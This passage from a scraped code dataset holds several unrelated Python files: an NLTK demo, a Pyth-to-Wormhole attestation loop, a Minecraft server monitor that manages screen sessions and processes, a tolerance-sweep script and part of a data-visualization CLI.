use them to predict the growth rate of their species in isolation and when in the community using COBRA tools. You can find all the models in the %s.\" %(numModels,comFolder)\n\n\nif __name__ == '__main__':\n app = Widget4()\n app.launch()\n","repo_name":"mendessoares/MMinte","sub_path":"MMinte/site/MMinteW4.py","file_name":"MMinteW4.py","file_ext":"py","file_size_in_byte":5857,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"28"} +{"seq_id":"25106144450","text":"import nltk\nfrom nltk.stem import PorterStemmer, WordNetLemmatizer\nfrom nltk.corpus import wordnet\n\ntext = \"Backgammon is one of the oldest known board games. Its history can be traced back nearly 5,000 years to archeological discoveries in the Middle East. It is a two player game where each player has fifteen checkers which move between twenty-four points according to the roll of two dice.\"\n\nsentences = nltk.sent_tokenize(text)\nfor sentence in sentences:\n print(sentence)\n print()\n words = nltk.word_tokenize(sentence)\n print(words)\n print()\n\ndef compare_stemmer_and_lemmatizer(stemmer, lemmatizer, word, pos):\n print(\"Stemmer:\", stemmer.stem(word))\n print(\"Lemmatizer:\", lemmatizer.lemmatize(word, pos))\n print()\n\nlemmatizer = WordNetLemmatizer()\nstemmer = PorterStemmer()\n\ncompare_stemmer_and_lemmatizer(stemmer, lemmatizer, word = \"seen\", pos = wordnet.VERB)\ncompare_stemmer_and_lemmatizer(stemmer, lemmatizer, word = \"drove\", pos = wordnet.VERB)","repo_name":"almaszaurbekov/draft","sub_path":"nlp/01_lab/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":978,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"32410239750","text":"from dataclasses import dataclass\n\nfrom domain.exceptions import ValidationException\nfrom domain.entities.value_object import ValueObject\n\n\n@dataclass(frozen=True)\nclass AuthorName(ValueObject):\n MAX_LENGTH = 250\n MIN_LENGTH = 2\n\n value: str\n\n def validate(self) -> None:\n self.__validate_max_length()\n self.__validate_min_length()\n\n def __validate_max_length(self) -> None:\n value_length = len(self.value)\n if value_length > self.MAX_LENGTH:\n raise ValidationException(\n f'Author name too long: {self.value} (max length is {self.MAX_LENGTH}, has {value_length})'\n )\n\n def __validate_min_length(self) -> None:\n value_length = len(self.value)\n if value_length < self.MIN_LENGTH:\n raise ValidationException(\n f'Author name too short: {self.value} (min length is {self.MIN_LENGTH}, has {value_length})'\n )\n","repo_name":"fr-mm/library-api","sub_path":"domain/entities/author/value_objects/author_name.py","file_name":"author_name.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"43203055061","text":"#!/usr/bin/env python3\n\n# This script sets up a simple loop for periodical attestation of Pyth data\nfrom pyth_utils import *\n\nfrom http.client import HTTPConnection\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nimport json\nimport os\nimport re\nimport subprocess\nimport time\nimport threading\n\n\nP2W_ADDRESS = \"P2WH424242424242424242424242424242424242424\"\nP2W_ATTEST_INTERVAL = float(os.environ.get(\"P2W_ATTEST_INTERVAL\", 5))\nP2W_OWNER_KEYPAIR = os.environ.get(\n \"P2W_OWNER_KEYPAIR\", f\"/usr/src/solana/keys/p2w_owner.json\")\nP2W_ATTESTATIONS_PORT = int(os.environ.get(\"P2W_ATTESTATIONS_PORT\", 4343))\n\nPYTH_ACCOUNTS_HOST = \"pyth\"\nPYTH_ACCOUNTS_PORT = 4242\n\nWORMHOLE_ADDRESS = \"Bridge1p5gheXUvJ6jGWGeCsgPKgnE3YgdGKRVCMY9o\"\n\nATTESTATIONS = {\n \"pendingSeqnos\": [],\n}\n\nclass P2WAutoattestStatusEndpoint(BaseHTTPRequestHandler):\n \"\"\"\n A dumb endpoint for last attested price metadata.\n \"\"\"\n\n def do_GET(self):\n print(f\"Got path {self.path}\")\n sys.stdout.flush()\n data = json.dumps(ATTESTATIONS).encode(\"utf-8\")\n print(f\"Sending:\\n{data}\")\n\n ATTESTATIONS[\"pendingSeqnos\"] = []\n\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/json\")\n self.send_header(\"Content-Length\", str(len(data)))\n self.end_headers()\n self.wfile.write(data)\n self.wfile.flush()\n\ndef serve_attestations():\n \"\"\"\n Run a barebones HTTP server to share Pyth2wormhole attestation history\n \"\"\"\n server_address = ('', P2W_ATTESTATIONS_PORT)\n httpd = HTTPServer(server_address, P2WAutoattestStatusEndpoint)\n httpd.serve_forever()\n\n\n# Get actor pubkeys\nP2W_OWNER_ADDRESS = sol_run_or_die(\n \"address\", [\"--keypair\", P2W_OWNER_KEYPAIR], capture_output=True).stdout.strip()\nPYTH_OWNER_ADDRESS = sol_run_or_die(\n \"address\", [\"--keypair\", PYTH_PROGRAM_KEYPAIR], capture_output=True).stdout.strip()\n\n\n# Top up pyth2wormhole owner\nsol_run_or_die(\"airdrop\", [\n str(SOL_AIRDROP_AMT),\n \"--keypair\", P2W_OWNER_KEYPAIR,\n \"--commitment\", \"finalized\",\n], capture_output=True)\n\n# Initialize pyth2wormhole\ninit_result = run_or_die([\n \"pyth2wormhole-client\",\n \"--log-level\", \"4\",\n \"--p2w-addr\", P2W_ADDRESS,\n \"--rpc-url\", SOL_RPC_URL,\n \"--payer\", P2W_OWNER_KEYPAIR,\n \"init\",\n \"--wh-prog\", WORMHOLE_ADDRESS,\n \"--owner\", P2W_OWNER_ADDRESS,\n \"--pyth-owner\", PYTH_OWNER_ADDRESS,\n], capture_output=True, die=False)\n\nif init_result.returncode != 0:\n print(\"NOTE: pyth2wormhole-client init failed, retrying with set_config\")\n run_or_die([\n \"pyth2wormhole-client\",\n \"--log-level\", \"4\",\n \"--p2w-addr\", P2W_ADDRESS,\n \"--rpc-url\", SOL_RPC_URL,\n \"--payer\", P2W_OWNER_KEYPAIR,\n \"set-config\",\n \"--owner\", P2W_OWNER_KEYPAIR,\n \"--new-owner\", P2W_OWNER_ADDRESS,\n \"--new-wh-prog\", WORMHOLE_ADDRESS,\n \"--new-pyth-owner\", PYTH_OWNER_ADDRESS,\n ], capture_output=True)\n\n# Retrieve current price/product pubkeys from the pyth publisher\nconn = HTTPConnection(PYTH_ACCOUNTS_HOST, PYTH_ACCOUNTS_PORT)\n\nconn.request(\"GET\", \"/\")\n\nres = conn.getresponse()\n\npyth_accounts = None\n\nif res.getheader(\"Content-Type\") == \"application/json\":\n pyth_accounts = json.load(res)\nelse:\n print(f\"Bad Content type {res.getheader('Content-Type')}\", file=sys.stderr)\n sys.exit(1)\n\nprice_addr = pyth_accounts[\"price\"]\nproduct_addr = pyth_accounts[\"product\"]\n\nnonce = 0\nattest_result = run_or_die([\n \"pyth2wormhole-client\",\n \"--log-level\", \"4\",\n \"--p2w-addr\", P2W_ADDRESS,\n \"--rpc-url\", SOL_RPC_URL,\n \"--payer\", P2W_OWNER_KEYPAIR,\n \"attest\",\n \"--price\", price_addr,\n \"--product\", product_addr,\n \"--nonce\", str(nonce),\n], capture_output=True)\n\nprint(\"p2w_autoattest ready to roll.\")\nprint(f\"ACCOUNTS: {pyth_accounts}\")\nprint(f\"Attest Interval: {P2W_ATTEST_INTERVAL}\")\n\n# Serve p2w endpoint\nendpoint_thread = threading.Thread(target=serve_attestations, daemon=True)\nendpoint_thread.start()\n\n# Let k8s know the service is up\nreadiness_thread = threading.Thread(target=readiness, daemon=True)\nreadiness_thread.start()\n\nseqno_regex = re.compile(r\"^Sequence number: (\\d+)\")\n\nnonce = 1\nwhile True:\n attest_result = run_or_die([\n \"pyth2wormhole-client\",\n \"--log-level\", \"4\",\n \"--p2w-addr\", P2W_ADDRESS,\n \"--rpc-url\", SOL_RPC_URL,\n \"--payer\", P2W_OWNER_KEYPAIR,\n \"attest\",\n \"--price\", price_addr,\n \"--product\", product_addr,\n \"--nonce\", str(nonce),\n ], capture_output=True)\n time.sleep(P2W_ATTEST_INTERVAL)\n\n matches = seqno_regex.match(attest_result.stdout)\n\n if matches is not None:\n seqno = int(matches.group(1))\n print(f\"Got seqno {seqno}\")\n\n ATTESTATIONS[\"pendingSeqnos\"].append(seqno)\n\n else:\n print(f\"Warning: Could not get sequence number\")\n\n nonce += 1\n\nreadiness_thread.join()\n","repo_name":"parasol-aser/vrust-open-source","sub_path":"examples/wormhole/third_party/pyth/p2w_autoattest.py","file_name":"p2w_autoattest.py","file_ext":"py","file_size_in_byte":4883,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"28"} +{"seq_id":"6757215986","text":"import os\nimport shutil\nimport glob\nimport subprocess\nimport time\nimport pandas as pd\nimport re\nimport numpy as np\nimport subprocess\n\ntol_ls = []\nroot_dir = \"/users/ekb16170/tolerance_calculator/1d/water/\"\nmdl_path = \"/users/ekb16170/tolerance_calculator/1d/water/model.mdl\"\nsh_path = \"/users/ekb16170/tolerance_calculator/1d/water/main_script.sh\"\n\nfor i in range(-12, 1, 1):\n\ttol_ls.append('1.e'+ str(i))\n\nfor tol in tol_ls:\n\tos.mkdir(os.path.join(root_dir, tol))\n\n\ttarget_mdl_path = root_dir + tol + \"/model.mdl\"\n\ttarget_sh_path = root_dir + tol + \"/main_script.sh\"\n\n\tshutil.copyfile(mdl_path, target_mdl_path)\n\tshutil.copyfile(sh_path, target_sh_path)\n\n\twith open(target_sh_path, 'r') as file:\n\t\tfiledata = file.read()\n\n\tfiledata = filedata.replace('FISH', tol)\n\t\n\twith open(target_sh_path, 'w') as file:\n\t\tfile.write(filedata)\n\n\tbash_command = \"bash main_script.sh\"\n\tcwd = os.getcwd()\n\tos.chdir(str(tol))\n\tsubprocess.run(['bash','main_script.sh'])\n\tos.chdir(cwd)\n","repo_name":"IainQuinn/MSci_Project","sub_path":"Tolerance Investigation/Water/tolerance_calculator.py","file_name":"tolerance_calculator.py","file_ext":"py","file_size_in_byte":967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"39512049571","text":"# -*- coding: utf-8 -*-\n# ---\n# jupyter:\n# jupytext:\n# formats: ipynb,py:light\n# text_representation:\n# extension: .py\n# format_name: light\n# format_version: '1.5'\n# jupytext_version: 1.13.5\n# kernelspec:\n# display_name: Python 3 (ipykernel)\n# language: python\n# name: python3\n# ---\n\nimport sys\ninput = sys.stdin.readline\nn = list(input())\nn.sort(reverse = True)\nfor i in n:\n print(i,end=\"\")\n\n\n\n","repo_name":"seungyeonseong/Python_PS","sub_path":"Baekjoon1427.py","file_name":"Baekjoon1427.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"9557540951","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# Library modules\nimport logging\nimport sched\nimport socket\nimport subprocess\nimport threading\nimport time\n\n# Third party modules\nimport psutil\n\n\nclass Server:\n \"\"\"\n An object used to monitor and interact with a Minecraft server.\n\n Constructor:\n __init__(config)\n\n Public methods:\n getConfig(key)\n getTargetState() \n getUptime()\n isOnline()\n isResponsive()\n restart() \n run() [static]\n sendCommand(command)\n start() \n stop()\n\n Methods prefixed with _ are private methods, and should not be called externally.\n \"\"\"\n\n # Unbound variable containing an instance of the sched.scheduler\n # class, used to schedule restart and server check events across all servers.\n scheduler = sched.scheduler(\n time.time,\n time.sleep\n )\n\n\n @staticmethod\n def run():\n \"\"\"\n Static method which hands execution over to the scheduler.\n scheduler will run server restart and server check events as scheduled, and will\n run time.sleep in between events.\n \"\"\"\n\n logging.info('Running scheduler.')\n\n Server.scheduler.run()\n\n\n @staticmethod\n def _executeInShell(command):\n \"\"\"\n This will execute 'command' in the system shell, and will pipe stdout and stderr\n to the logging module.\n \"\"\"\n\n logging.info(\n 'Executing the following command in system shell:\\n{COMMAND}'.format(\n COMMAND=command\n )\n )\n\n p = subprocess.Popen(\n args=[command],\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n shell=True\n )\n\n # Will block until process terminates.\n stdout, stderr = p.communicate()\n\n if stdout:\n logging.info(\n 'STDOUT:\\n{STDOUT}'.format(\n STDOUT=stdout\n )\n )\n\n if stderr:\n logging.warning(\n 'STDERR:\\n{STDERR}'.format(\n STDERR=stderr\n )\n )\n\n\n def __init__(self, config):\n \"\"\"\n Constructor to initialise the Server class.\n \"\"\"\n\n # self.lock is used to protect member variables, and also server methods\n # which read or write to these members. Such methods could be called by stdin or\n # network handler threads.\n # It is a reentrant lock, and can be acquired multiple times by the same thread.\n self._lock = threading.RLock()\n \n # Acquires lock and automatically releases it under any circumstance where execution moves\n # on from this block of code.\n with self._lock:\n logging.info(\n 'Initialising {SERVER_NICK} server.'.format(\n SERVER_NICK=config['SERVER_NICK']\n )\n )\n\n # A dictionary containing all configuration options for this server.\n self._config = config\n\n # The desired state of the server, True | False\n self._online = self._config['START_SERVER']\n\n # If server is currently online, and START_SERVER set to False, set self._online\n # to True not False. Prevents unnecessary server shutdown.\n if not self._config['START_SERVER'] and self.isOnline():\n self._online = True\n\n # This list holds all future restart events. Used for event cancellations.\n self._restartEvents = []\n\n # This holds the future server check event, to be cancelled should an immediate check\n # be requested\n self._checkEvent = None\n\n # Schedule initial restart and server check events.\n self._scheduleCheck(immediate=True)\n self._scheduleRestarts()\n\n\n def getConfig(self, key):\n \"\"\"\n Allow external modules to retrieve server configuration values.\n \"\"\"\n\n return self._config.get(key)\n\n\n def getTargetState(self):\n \"\"\"\n Allow external modules to see if the server is meant to be online\n or offline.\n \"\"\"\n\n return self._online\n\n\n def sendCommand(self, command):\n \"\"\"\n Execute a server command by calling the stuff command on the screen session\n which contains the Minecraft server console.\n \"\"\"\n\n with self._lock:\n logging.info(\n 'Sending the following command to {SERVER_NICK} server:\\n{COMMAND}'.format(\n SERVER_NICK=self._config['SERVER_NICK'],\n COMMAND=command\n )\n )\n\n # Stuffing commands into a screen session too quickly is a bad idea.\n time.sleep(1)\n\n # Send stuff command to screen session. Screen session is named with server nick.\n # \\r simulates the return key and causes the command to be executed.\n Server._executeInShell(\n 'screen -p 0 -S '\n + self._config['SERVER_NICK']\n + ' -X stuff \"\\r'\n + command\n + '\\r\"',\n )\n\n\n def _getPIDs(self):\n \"\"\"\n Returns a list of integers containing the PIDs of each Java Runtime Environment currently\n executing the server jar-file\n \"\"\"\n\n PIDs = []\n\n # Iterate over all currently running processes.\n for process in psutil.process_iter():\n try:\n # proc.cmdline() returns all command line arguments used to start the\n # process, as a list.\n commandLineArgs = process.cmdline()\n\n # Determine if this is a Java process\n if len(commandLineArgs) >= 1 and commandLineArgs[0].lower().find(\"java\") != -1:\n\n # Determine if the command line args contain the name of the server\n # jar file.\n for arg in commandLineArgs:\n if arg.find(self._config['SERVER_JAR']) != -1:\n\n # This is indeed an instance of the Minecraft server that we are\n # currently monitoring.\n PIDs.append(process.pid)\n break\n\n except psutil.Error:\n pass\n\n\n return PIDs\n\n\n def isOnline(self):\n \"\"\"\n Returns True if any server processes are currently running.\n \"\"\"\n\n return len(self._getPIDs()) > 0\n\n\n def getUptime(self):\n \"\"\"\n Returns the number of seconds for which this server has been running\n \"\"\"\n\n PIDs = self._getPIDs()\n\n if len(PIDs) == 0:\n return None\n\n else:\n try:\n process = psutil.Process(PIDs[0])\n\n except psutil.NoSuchProcess:\n return None\n\n else:\n return time.time() - process.create_time()\n\n\n def _scheduleCheck(self, immediate=False):\n \"\"\"\n Enter an event in the server scheduler that will call this server's\n self._check() method.\n \"\"\"\n\n # Cancel the existing check event if one exists. Allows _schelduleCheck to be\n # called immediately, even if there is a delayed check for this server present\n # in the scheduler.\n if self._checkEvent is not None:\n try:\n Server.scheduler.cancel(self._checkEvent)\n except ValueError:\n # Event was no longer on the queue\n pass\n \n self._checkEvent = None\n\n\n with self._lock:\n logging.debug(\n 'Scheduling a server check for {SERVER_NICK}. Immediate: {IMMEDIATE}.'.format(\n SERVER_NICK=self._config['SERVER_NICK'],\n IMMEDIATE=immediate\n )\n )\n\n if immediate:\n # Schedule an immediate server check\n self._checkEvent=Server.scheduler.enter(\n 0,\n 1,\n self._check,\n ()\n )\n\n else:\n # Schedule a server check in 60 seconds\n self._checkEvent=Server.scheduler.enter(\n 60,\n 1,\n self._check,\n ()\n )\n\n\n def _scheduleRestarts(self):\n \"\"\"\n If the server has automated restarts enabled in config,\n then enter the future restart events in the server scheduler. These\n events include warnings that are announced to the players in the\n leadup to the restart, and the restart itself.\n \"\"\"\n\n with self._lock:\n # Only schedule restarts if all conditions met:\n # Restarts are enabled in config for this server,\n # Restarts have not already been scheduled for this server,\n # This server is in the online state.\n\n # NOTE: self._restartEvents will reset next time server stops / restarts\n if self._config['ENABLE_AUTOMATED_RESTARTS'] \\\n and len(self._restartEvents) == 0 \\\n and self._online:\n\n logging.debug(\n 'Scheduling restart and restart warnings for {SERVER_NICK} server.'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n )\n\n upTime = self.getUptime()\n\n if upTime is not None:\n # If restart or restart warnings are already overdue during\n # scheduling, don't restart immediately, warn the users then\n # restart after 10 minutes.\n if upTime >= self._config['RESTART_TIME'] - 10*60:\n self._restartEvents.append(\n Server.scheduler.enter(\n 0*60, # Execute task in 0 seconds\n 1, # Task has priority of 1\n self._restartWarning, # Call self.restartWarning(10)\n (10,)\n )\n )\n \n self._restartEvents.append(\n Server.scheduler.enter(\n 5*60,\n 1,\n self._restartWarning,\n (5,)\n )\n )\n \n self._restartEvents.append(\n Server.scheduler.enter(\n 9*60,\n 1,\n self._restartWarning,\n (1,)\n )\n )\n\n self._restartEvents.append(\n Server.scheduler.enter(\n 10*60,\n 1,\n self.restart,\n ()\n )\n )\n\n else:\n # Schedule the restart events as planned in the configuration.\n self._restartEvents.append(\n Server.scheduler.enter(\n self._config['RESTART_TIME'] - upTime - 10*60,\n 1,\n self._restartWarning,\n (10,)\n )\n )\n\n self._restartEvents.append(\n Server.scheduler.enter(\n self._config['RESTART_TIME'] - upTime - 5*60,\n 1,\n self._restartWarning,\n (5,)\n )\n )\n\n self._restartEvents.append(\n Server.scheduler.enter(\n self._config['RESTART_TIME'] - upTime - 1*60,\n 1,\n self._restartWarning,\n (1,)\n )\n )\n\n self._restartEvents.append(\n Server.scheduler.enter(\n self._config['RESTART_TIME'] - upTime,\n 1,\n self.restart,\n ()\n )\n )\n\n\n def _cancelRestartEvents(self):\n \"\"\"\n Cancel any future restart events from the server scheduler\n \"\"\"\n\n with self._lock:\n logging.debug(\n 'Cancelling restart events for {SERVER_NICK} server.'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n )\n\n for event in self._restartEvents:\n try:\n Server.scheduler.cancel(event)\n except ValueError:\n # Event was no longer on the queue\n pass\n \n self._restartEvents = []\n\n\n def _restartWarning(self, minutes):\n if minutes == 1:\n self.sendCommand('say An automated restart will occur in 1 minute.')\n self.sendCommand('save-all')\n\n else:\n self.sendCommand('say An automated restart will occur in ' + str(minutes) + ' minutes.')\n\n\n def _killServer(self):\n \"\"\"\n Sends a SIGKILL signal to any process that was started with a command\n containing the server jar name.\n\n External calls should use stop() instead.\n \"\"\"\n\n with self._lock:\n logging.warning(\n 'Sending SIGKILL signal to {SERVER_NICK} server.'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n )\n\n for PID in self._getPIDs():\n try:\n proc = psutil.Process(PID)\n proc.kill()\n\n except psutil.NoSuchProcess:\n logging.warning(\n 'Tried to kill process {PID}, when there was no such process running.'.format(\n PID=PID)\n )\n\n except psutil.AccessDenied:\n logging.warning(\n 'Tried to kill process {PID}, but this user does not have the necessary'.format(\n PID=PID\n )\n + ' permissions.'\n )\n\n else:\n logging.info(\n 'Killed process {PID} successfully.'.format(\n PID=PID\n )\n )\n\n\n def _quitScreenSession(self):\n \"\"\"\n Forces the screen session to quit, necessary tidyup in case user has opened new window\n inside the session causing screen not to close with the server process. This would\n otherwise interfere with the sendCommand method.\n \"\"\"\n\n with self._lock: \n Server._executeInShell(\n 'screen -S '\n + self._config['SERVER_NICK']\n + ' -X quit',\n )\n\n\n def stop(self):\n \"\"\"\n Attempt to stop server gracefully, else stop forcefully.\n \"\"\"\n\n # TODO: throw exceptions on error\n\n with self._lock:\n if self._online:\n\n logging.debug(\n 'Stopping {SERVER_NICK} server.'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n )\n\n # Prevent any restart events from being executed on the stopped server\n self._cancelRestartEvents()\n\n self.sendCommand('stop')\n\n # Update state variable to indicate that the server should now be offline\n self._online = False\n\n # Wait 60 seconds for process to terminate\n for index in range(12):\n time.sleep(5)\n\n if not self.isOnline():\n\n logging.debug(\n '{SERVER_NICK} server was closed gracefully.'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n )\n\n return\n\n # If process did not terminate, then stop forcefully.\n self._killServer()\n\n \n def start(self):\n \"\"\"\n Create a new screen session for the server and execute the server start script\n \"\"\"\n\n # TODO: throw exception on error\n\n with self._lock:\n # Only proceed if server is currently offline\n if not self.isOnline():\n\n logging.info(\n 'Starting {SERVER_NICK} server.'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n )\n\n # Just in case there is an existing screen session from a previous server\n # instance.\n self._quitScreenSession()\n\n Server._executeInShell(\n 'screen -d -m -S '\n + self._config['SERVER_NICK']\n + ' '\n + self._config['SERVER_PATH']\n + '/'\n + self._config['START_SCRIPT'],\n )\n\n if self._config['MULTIUSER_ENABLED']:\n Server._executeInShell(\n 'screen -S '\n + self._config['SERVER_NICK']\n + ' -X multiuser on',\n )\n\n for user in self._config['AUTHORISED_ACCOUNTS']:\n Server._executeInShell(\n 'screen -S '\n + self._config['SERVER_NICK']\n + ' -X acladd '\n + user,\n )\n\n # Update state variable to indicate that the server should now be online\n self._online = True\n\n # Give OS a chance to launch the process, as scheduleRestarts requires\n # the process to be running in order to calculate the restart times.\n time.sleep(5)\n self._scheduleRestarts()\n\n\n else:\n logging.warning(\n 'Attempted to start {SERVER_NICK} server which was in online state.'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n )\n\n\n def restart(self):\n if self._online:\n with self._lock:\n self.sendCommand('say Server is restarting, see you soon!')\n self.stop()\n self.start()\n\n\n def isResponsive(self):\n \"\"\"\n Test the server responsiveness by opening a network socket and asking the server\n for its player count and message of the day.\n \"\"\"\n\n with self._lock:\n try:\n # Set up our socket\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.settimeout(10)\n s.connect((self._config['HOSTNAME'], self._config['PORT']))\n\n # Send 0xFE: Server list ping\n s.send('\\xfe\\x01')\n\n # Read some data\n d = s.recv(1024)\n s.close()\n\n # Check we've got a 0xFF Disconnect\n assert d[0] == '\\xff'\n\n # Remove the packet ident (0xFF) and the short containing the length of the string\n # Decode UCS-2 string\n d = d[3:].decode('utf-16be')\n\n #Check the first 3 characters of the string are what we expect\n assert d[:3] == u'\\xa7\\x31\\x00'\n\n \"\"\"\n Commented in case the returned information becomes useful:\n\n # Split\n d = d[3:].split('\\x00')\n \n # Return a dict of values\n return {'protocol_version': int(d[0]),\n 'server_version': d[1],\n 'motd': d[2],\n 'players': int(d[3]),\n 'max_players': int(d[4])}\n \"\"\"\n\n except (socket.error, socket.timeout, AssertionError, IndexError):\n logging.debug(\n 'Network responsiveness test for {SERVER_NICK} returning False.'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n )\n\n return False\n\n else:\n logging.debug(\n 'Network responsiveness test for {SERVER_NICK} returning True.'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n )\n\n return True\n\n\n def _check(self):\n \"\"\"\n Compare the desired state with the actual state of the server,\n and take action as necessary.\n \"\"\"\n\n self._checkEvent = None\n\n with self._lock:\n logging.debug(\n 'Beginning server check of {SERVER_NICK} server.'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n )\n\n # List of process IDs of Java Runtime Environment processes currently\n # executing the Minecraft server.\n # len(serverPIDs) gives the number of processes currently running.\n PIDs = self._getPIDs()\n\n while len(PIDs) > 1:\n # Multiple instances of this server are running simultaneously. Kill the ones\n # most recently started, leaving one remaining.\n\n logging.warning(\n 'Multiple instances of {SERVER_NICK} server are running simultaneously.'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n + ' Number of processes found: {NUM_PROCESSES}'.format(\n NUM_PROCESSES=len(PIDs)\n )\n )\n\n\n newestProcess = psutil.Process(PIDs[0])\n\n for PID in PIDs: \n process = psutil.Process(PID)\n\n if process.create_time() > newestProcess.create_time():\n newestProcess = process\n\n\n logging.warning(\n 'Terminating process number {PID}, an instance of {SERVER_NICK} server.'.format(\n PID=newestProcess.pid,\n SERVER_NICK=self._config['SERVER_NICK']\n )\n + ' Process was originally started with the following command:\\n{START_COMMAND}'.format(\n START_COMMAND=newestProcess.cmdline()\n )\n )\n\n newestProcess.terminate()\n\n for index in range(60):\n time.sleep(1)\n\n if not newestProcess.is_running():\n break\n\n\n if newestProcess.is_running():\n newestProcess.kill()\n\n time.sleep(5)\n PIDs = self._getPIDs()\n\n\n if self._online:\n # Minecraft server should currently be online and responsive\n\n if len(PIDs) == 0:\n logging.debug(\n '{SERVER_NICK} server is desired to be online, but no process was found.'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n + ' Server will now be started.'\n )\n\n # Remove restart events from any previous processes\n self._cancelRestartEvents()\n self._online = False\n self.start()\n\n elif len(PIDs) == 1:\n logging.debug(\n '{SERVER_NICK} server is desired to be online, and is currently running.'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n )\n\n if self._config['ENABLE_RESPONSIVENESS_CHECK']:\n upTime = self.getUptime()\n\n # Perform a responsiveness test if the server has been online for long\n # enough.\n if upTime > self._config['STARTUP_TIME']:\n\n if not self.isResponsive():\n # Server has failed responsiveness test, repeat test up to 10 more times\n # and if test fails at least 3 times, restart the server\n\n prevResults = []\n\n for index in range(10):\n time.sleep(5)\n prevResults.append(self.isResponsive())\n\n if prevResults.count(False) >= 3:\n logging.warning(\n '{SERVER_NICK} server has failed three network'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n + ' responsiveness tests, and will now be restarted.'\n )\n\n self.restart()\n break\n\n else:\n # Minecraft server should be offline\n if len(PIDs) > 0:\n logging.debug(\n '{SERVER_NICK} server is desired to be offline, but instances of this'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n + ' server are currently running. Server will now be stopped.'\n )\n\n self.stop()\n\n else:\n logging.debug(\n '{SERVER_NICK} server is desired to be offline, and no instances of the'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n + ' server are currently running.'\n )\n\n\n # Tell the scheduler to call the self.check method again in 60 seconds\n self._scheduleCheck()\n","repo_name":"stevestech/pycraft","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":27158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"41946507555","text":"import processing\nimport visualizations\nimport analysis\n\nfrom pyfiglet import Figlet\nfrom PyInquirer import style_from_dict, Token, prompt, Separator\nfrom prettytable import PrettyTable\n\nif __name__ == \"__main__\":\n\n # Intro Banner\n f = Figlet(font='slant')\n print(f.renderText('DIPOLE'))\n\n # Style of the questions\n style = style_from_dict({\n Token.Separator: '#cc5454',\n Token.QuestionMark: '#673ab7 bold',\n Token.Selected: '#cc5454', # default\n Token.Pointer: '#673ab7 bold',\n Token.Instruction: '', # default\n Token.Answer: '#f44336 bold',\n Token.Question: '',\n })\n\n\n goal_of_program = [\n {\n 'type': 'list',\n 'message': 'Would you like to visualize or run quantative tests?',\n 'name': 'goal',\n 'choices': [\n {\n 'name': 'Only visualize'\n },\n {\n 'name': 'Only run quantative tests'\n },\n ],\n }\n ]\n\n data_type = [\n {\n 'type': 'list',\n 'message': 'What data set would you like as input?',\n 'name': 'data',\n 'choices': [\n {\n 'name': 'All data sets from original paper'\n },\n {\n 'name': 'All new data sets'\n },\n {\n 'name': 'Mammoth data set (from original paper)'\n },\n {\n 'name': 'Brain Artery Tree data set (from original paper)'\n },\n {\n 'name': 'Stanford Faces data set (from original paper)'\n },\n {\n 'name': 'Swiss Roll with Holes data set (from original paper)'\n },\n {\n 'name': 'Collection of circles ambient in 3D'\n },\n {\n 'name': 'First hand data set'\n },\n {\n 'name': 'Second hand data set'\n },\n {\n 'name': 'Tracing Heart data set'\n },\n {\n 'name': 'Tracing Heart data set (with outline)'\n },\n ],\n }\n ]\n\n x = PrettyTable()\n\n # Retrieving the desired district\n goal_answer = prompt(goal_of_program, style=style)\n \n # Prompting users with which algorithm they want to pick\n data_answer = prompt(data_type, style=style)\n\n if goal_answer['goal'] == 'Only visualize':\n if data_answer['data'] == 'All data sets from original paper':\n visualizations.mammoth_visualization()\n visualizations.brain_visualization()\n visualizations.swissroll_visualization()\n visualizations.stanford_visualization()\n\n elif data_answer['data'] == 'All new data sets':\n visualizations.pic_data_visualization(\"hand-images-1\")\n visualizations.pic_data_visualization(\"hand-images-2\")\n visualizations.pic_data_visualization(\"heart\")\n visualizations.pic_data_visualization(\"heart-guide\")\n visualizations.circle_visualization()\n \n elif data_answer['data'] == 'Mammoth data set (from original paper)':\n visualizations.mammoth_visualization()\n elif data_answer['data'] == 'Brain Artery Tree data set (from original paper)':\n visualizations.brain_visualization()\n elif data_answer['data'] == 'Stanford Faces data set (from original paper)':\n visualizations.stanford_visualization()\n elif data_answer['data'] == 'Swiss Roll with Holes data set (from original paper)':\n visualizations.swissroll_visualization()\n elif data_answer['data'] == 'Collection of circles ambient in 3D':\n visualizations.circle_visualization()\n elif data_answer['data'] == 'First hand data set':\n visualizations.pic_data_visualization(\"hand-images-1\") \n elif data_answer['data'] == 'Second hand data set':\n visualizations.pic_data_visualization(\"hand-images-2\") \n elif data_answer['data'] == 'Tracing Heart data set':\n 